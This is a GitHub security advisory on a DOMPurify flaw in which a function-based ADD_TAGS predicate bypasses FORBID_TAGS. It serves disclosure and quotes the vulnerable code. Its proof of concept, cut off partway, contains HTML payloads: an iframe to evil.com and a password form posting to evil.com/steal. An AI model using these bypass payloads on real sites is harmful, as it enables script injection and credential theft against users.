GHSA-h7mw-gpvr-xq4m — DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)

Affected: npm: dompurify

There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.

Commit [c361baa](https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80) added an early exit for FORBID_ATTR at line 1214:

/* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */ if (FORBID_ATTR[lcName]) { return false; }

The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:

if ( !( EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function && EXTRA_ELEMENT_HANDLING.tagCheck(tagName) // true -> short-circuits ) && (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName]) // never evaluated ) {

This allows forbidden elements to survive sanitization with their attributes intact.

PoC (tested against current HEAD in Node.js + jsdom):

const DOMPurify = createDOMPurify(window);

DOMPurify.sanitize( '<iframe src="https://evil.com"></iframe>', { ADD_TAGS: function(tag) { return true; }, FORBID_TAGS: ['iframe'] } ); // Returns: '<iframe src="https://evil.com"></iframe>' // Expected: '' (iframe forbidden)

DOMPurify.sanitize( '<form action="https://evil.com/steal"><input name=password></form>', { ADD_TAGS: function(tag) { return true; }, FORBID_TAGS: ['form'] }…

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GHSA-h7mw-gpvr-xq4m — DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)